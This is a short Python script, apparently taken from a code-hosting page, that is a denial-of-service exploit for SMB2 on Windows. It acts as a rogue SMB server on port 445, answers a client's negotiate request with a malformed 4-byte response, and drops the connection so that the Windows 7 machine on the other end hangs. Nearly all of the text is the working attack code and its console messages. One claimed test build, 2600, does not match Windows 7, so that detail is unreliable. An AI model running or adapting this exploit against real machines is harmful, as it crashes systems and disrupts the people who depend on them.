26 lines
No EOL
1.2 KiB
Python
Executable file
26 lines
No EOL
1.2 KiB
Python
Executable file
#!/usr/bin/python
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# === EDIT – this exploit appears to be exactly the same one of one which was already found
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# and fixed notified by Laurent Gaffié, i did not know this but his blog post can be found here:
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# http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html
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import socket,sys,time
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print "Maliformed negotiate protocol response and quickly closing the connection causes Windows machines supporting SMB2 to crash (leaves the system hanging and unresponsive) -- tested on Win 7 build 2600"
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print "Written by Jelmer de Hen"
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print "Published at http://h.ackack.net/?p=387"
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smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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smb.bind(("", 445))
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smb.listen(1)
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smbconn, addr = smb.accept()
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print "[+] "+str(addr)+" is trying to make connection to us over port 445"
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while 1:
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new_packet = smbconn.recv(1024)
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print "[+] Waiting for a negotiate request packet"
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if new_packet[8]=="r":
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print "[+] Received the negotiate request packet injecting the 4 bytes now..."
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smbconn.send("\x00\x00\x00\x01")
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break
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print "[+] Closing connection... This is part of the exploit"
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smbconn.close()
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print "[+] Done, if all went good then the box on the other side crashed" |